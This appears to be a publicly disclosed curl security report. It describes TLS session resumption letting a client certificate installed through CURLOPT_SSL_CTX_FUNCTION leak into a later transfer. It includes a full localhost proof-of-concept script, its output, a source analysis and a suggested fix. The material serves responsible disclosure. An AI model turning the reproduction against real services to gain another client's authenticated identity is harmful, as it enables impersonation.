HexBrain

curl · Report #4016541

TLS session resumption client cert bypass with CURLOPT_SSL_CTX_FUNCTION

Informativestatus
mediumseverity
7upvotes
14 Sept 2026disclosed

How it was found

AI use

Cipher, by Causal Security, was used to find, exploit and confirm this issue. A further check was carried out to establish, as far as is possible from outside the project, that it is neither a duplicate of an existing report or advisory nor documented as intended behaviour.

Everything below was produced by running the script in this report against a build of the released 8.22.0 tarball.

Summary

CURLOPT_SSL_CTX_FUNCTION's man page prescribes CURLOPT_FORBID_REUSE as the remedy for callback state leaking between transfers. That remedy does not work. The run below sets it, and CURLOPT_FRESH_CONNECT as well, on both transfers, and the leak happens anyway.

What leaks is a client certificate identity. A TLS session established while a client certificate was installed by the callback is cached under a key that cannot describe that identity, so a later transfer on the same handle, with no callback set at all, resumes that session and authenticates to the server as the first transfer's client identity.

The remedy fails because the documentation only ever describes the connection pool, and the carrier here is the TLS session cache. CURLINFO_NUM_CONNECTS confirms transfer 2 used a brand new connection.

The bug

The session cache key is built by ssl_peer_key_build() at lib/vtls/vtls_scache.c:228. Its first parameter is everything it can see:

static CURLcode ssl_peer_key_build(struct ssl_primary_config *ssl,
                                   const struct ssl_peer *peer,
                                   const char *tls_id,
                                   char **ppeer_key)

Identity-bearing fields inside struct ssl_primary_config do contribute to the key: a client certificate path contributes :CCERT-, a blob contributes :CertBlob-, the type contributes :CT-.

The callback is not in that struct. lib/vtls/vtls_config.h:

struct ssl_primary_config {          /* line 32 */
  ...
  BIT(native_ca_store);              /* line 57 */
  BIT(cache_session);
  BIT(deep_copy);
};

struct ssl_config_data {             /* line 62 */
  struct ssl_primary_config primary;
  ...
  curl_ssl_ctx_callback fsslctx;     /* line 65, outside primary */
  void *fsslctxp;                    /* line 66, outside primary */
};

So a client certificate installed through the callback is structurally incapable of entering the session key. Two transfers with different client identities produce byte-identical keys, and the second resumes the first's session.

Reproduce

Self-contained: no privileged ports, no external host, no attachment. One script, run in an empty directory, given a curl build directory and the curl source include directory.

# Self-contained. No privileged ports, no external host, no attachment.
# $1 = a curl build directory (expects $1/lib/.libs/libcurl.so and $1/include)
# $2 = the curl source include directory
BUILD=$1; SRCINC=$2
set -e

openssl req -x509 -newkey rsa:2048 -nodes -keyout ca.key -out ca.pem -days 2 \
  -subj "/CN=Test CA" 2>/dev/null
openssl req -newkey rsa:2048 -nodes -keyout s.key -out s.csr -subj "/CN=api.test" 2>/dev/null
printf 'subjectAltName=DNS:api.test\nextendedKeyUsage=serverAuth\n' > s.cnf
openssl x509 -req -in s.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out s.crt \
  -days 2 -extfile s.cnf 2>/dev/null
cat s.crt s.key > srv.pem
openssl req -newkey rsa:2048 -nodes -keyout alice.key -out alice.csr \
  -subj "/CN=alice" 2>/dev/null
printf 'extendedKeyUsage=clientAuth\n' > c.cnf
openssl x509 -req -in alice.csr -CA ca.pem -CAkey ca.key -CAcreateserial \
  -out alice.crt -days 2 -extfile c.cnf 2>/dev/null

cat > srv.py <<'PY'
import socket, ssl, threading
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("srv.pem")
ctx.load_verify_locations("ca.pem")
ctx.verify_mode = ssl.CERT_OPTIONAL      # ask for a client cert, do not require one
def handle(c):
    try: c = ctx.wrap_socket(c, server_side=True)
    except Exception as e:
        print("   handshake failed: %s" % e, flush=True); return
    peer = c.getpeercert()
    who = "NO-CLIENT-CERT"
    if peer:
        who = dict(x[0] for x in peer["subject"]).get("commonName", "?")
    print("   server sees: client-identity=%-14s session_reused=%s"
          % (who, c.session_reused), flush=True)
    try:
        c.recv(4096)
        c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 3\r\nConnection: close\r\n\r\nok\n")
    except Exception: pass
    try: c.close()
    except Exception: pass
s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("127.0.0.1", 9443)); s.listen(5)
print("READY", flush=True)
while True:
    c, _ = s.accept(); threading.Thread(target=handle, args=(c,), daemon=True).start()
PY

cat > prog.c <<'C'
/* One easy handle reused across transfers, which is how libcurl is meant to be used. */
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include <openssl/ssl.h>
static size_t sink(void *p, size_t s, size_t n, void *u){ (void)p;(void)u; return s*n; }
static CURLcode install_alice(CURL *c, void *sslctx, void *parm)
{
  SSL_CTX *ctx = (SSL_CTX *)sslctx; (void)c; (void)parm;
  if(SSL_CTX_use_certificate_file(ctx, "alice.crt", SSL_FILETYPE_PEM) != 1) return CURLE_ABORTED_BY_CALLBACK;
  if(SSL_CTX_use_PrivateKey_file(ctx, "alice.key", SSL_FILETYPE_PEM) != 1) return CURLE_ABORTED_BY_CALLBACK;
  return CURLE_OK;
}
int main(int argc, char **argv)
{
  int nocache = (argc > 1 && !strcmp(argv[1], "nocache"));
  long nconn = 0;
  CURL *c = curl_easy_init();
  struct curl_slist *r = curl_slist_append(NULL, "api.test:9443:127.0.0.1");
  curl_easy_setopt(c, CURLOPT_WRITEFUNCTION, sink);
  curl_easy_setopt(c, CURLOPT_CAINFO, "ca.pem");
  curl_easy_setopt(c, CURLOPT_RESOLVE, r);
  curl_easy_setopt(c, CURLOPT_URL, "https://api.test:9443/");
  /* the remedy CURLOPT_SSL_CTX_FUNCTION's man page prescribes, set on BOTH transfers */
  curl_easy_setopt(c, CURLOPT_FORBID_REUSE, 1L);
  curl_easy_setopt(c, CURLOPT_FRESH_CONNECT, 1L);
  if(nocache) {
    curl_easy_setopt(c, CURLOPT_SSL_SESSIONID_CACHE, 0L);
    printf("  [CONTROL] CURLOPT_SSL_SESSIONID_CACHE = 0\n");
  }

  printf("  transfer 1: SSL_CTX callback installs alice's client certificate\n");
  curl_easy_setopt(c, CURLOPT_SSL_CTX_FUNCTION, install_alice);
  printf("     curl: %s\n", curl_easy_strerror(curl_easy_perform(c)));

  printf("  transfer 2: no callback at all, same handle\n");
  curl_easy_setopt(c, CURLOPT_SSL_CTX_FUNCTION, NULL);
  printf("     curl: %s\n", curl_easy_strerror(curl_easy_perform(c)));
  curl_easy_getinfo(c, CURLINFO_NUM_CONNECTS, &nconn);
  printf("     CURLINFO_NUM_CONNECTS for transfer 2: %ld (a brand new connection)\n", nconn);

  curl_slist_free_all(r); curl_easy_cleanup(c);
  return 0;
}
C

gcc -o prog prog.c -I$SRCINC -I$BUILD/include $BUILD/lib/.libs/libcurl.so \
    -lssl -lcrypto -Wl,-rpath,$BUILD/lib/.libs

run(){ rm -f srv.log; python3 srv.py > srv.log 2>&1 & SRV=$!
  for i in $(seq 40); do grep -q READY srv.log 2>/dev/null && break; sleep .1; done
  ./prog $1; sleep .3; grep -v READY srv.log
  kill $SRV 2>/dev/null; wait $SRV 2>/dev/null || true; }

echo "### $($BUILD/src/curl --version | head -1)"
echo
echo "########## default ##########"
run
echo
echo "########## control: CURLOPT_SSL_SESSIONID_CACHE = 0 ##########"
run nocache

Output

### curl 8.22.0 (aarch64-unknown-linux-gnu) libcurl/8.22.0 OpenSSL/3.5.7 zlib/1.2.11 libidn2/2.3.2 nghttp2/1.59.0 OpenLDAP/2.4.57

########## default ##########
  transfer 1: SSL_CTX callback installs alice's client certificate
     curl: No error
  transfer 2: no callback at all, same handle
     curl: No error
     CURLINFO_NUM_CONNECTS for transfer 2: 1 (a brand new connection)
   server sees: client-identity=alice          session_reused=False
   server sees: client-identity=alice          session_reused=True

########## control: CURLOPT_SSL_SESSIONID_CACHE = 0 ##########
  [CONTROL] CURLOPT_SSL_SESSIONID_CACHE = 0
  transfer 1: SSL_CTX callback installs alice's client certificate
     curl: No error
  transfer 2: no callback at all, same handle
     curl: No error
     CURLINFO_NUM_CONNECTS for transfer 2: 1 (a brand new connection)
   server sees: client-identity=alice          session_reused=False
   server sees: client-identity=NO-CLIENT-CERT session_reused=False

The second block is the control. One option changes, CURLOPT_SSL_SESSIONID_CACHE = 0, and transfer 2 becomes NO-CLIENT-CERT. That identifies the session cache as the carrier. The connection pool was already excluded by CURLOPT_FORBID_REUSE, CURLOPT_FRESH_CONNECT and CURLINFO_NUM_CONNECTS reporting a new connection.

Prior work

Commit 7be1e70cb6 (2026-08-25), a week before 8.22.0:

vtls: move 'native_ca_store' ssl_config_data => ssl_primary_config

And include it as key for connection reuse matching.

That shipped as CVE-2026-80231 (Low). native_ca_store is at line 57 and fsslctx at line 65 of the same struct in the same file. curl moved one field in and issued an advisory for having left it out. The field that installs a client certificate was not moved.

curl has also published this exact outcome twice, both High: CVE-2016-5419 and CVE-2017-7468, both "TLS session resumption client cert bypass". Those concerned the certificate set through CURLOPT_SSLCERT. This is the same outcome reached through the callback, which is the one route that cannot enter the session key.

lib/vtls/vtls_scache.c has not been modified since 8.22.0 was released. On master fsslctx was moved again by 19eec5f639 "ssl: dedup ssl_fsslctx" (2026-09-08), from ssl_config_data into urldata.h. That commit is a deduplication, does not touch the session cache key, and leaves the callback outside ssl_primary_config, so this still applies.

Severity

Medium. curl graded the same outcome High in CVE-2016-5419 and CVE-2017-7468, but those affected the ordinary CURLOPT_SSLCERT path. Reaching it through the callback is a narrower population.

Fix

Make the callback part of the session cache key. Either move fsslctx and fsslctxp into struct ssl_primary_config, the way native_ca_store was moved in 7be1e70cb6, so ssl_peer_key_build() can include them, or do not cache a session at all when a CURLOPT_SSL_CTX_FUNCTION callback was in effect for the handshake.

Including the two pointers in the key separates two different callbacks, but it will not separate one callback that installs different certificates on different calls. Not caching sessions established under a callback is the conservative option and the only one correct in that case.

Whichever is chosen, CURLOPT_SSL_CTX_FUNCTION.md should say that CURLOPT_FORBID_REUSE does not cover TLS session resumption, because that is what a reader takes from it today.

Impact

Impact

An application that uses one easy handle for more than one purpose gets requests authenticated with a client identity they never presented. A request meant to be anonymous, or to run as a different principal, reaches the server carrying the earlier transfer's verified certificate identity. The server cannot tell: from its side this is a properly resumed session with an authenticated client.

Reusing an easy handle across transfers is how libcurl is meant to be used, and installing a client certificate from CURLOPT_SSL_CTX_FUNCTION is a supported pattern.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original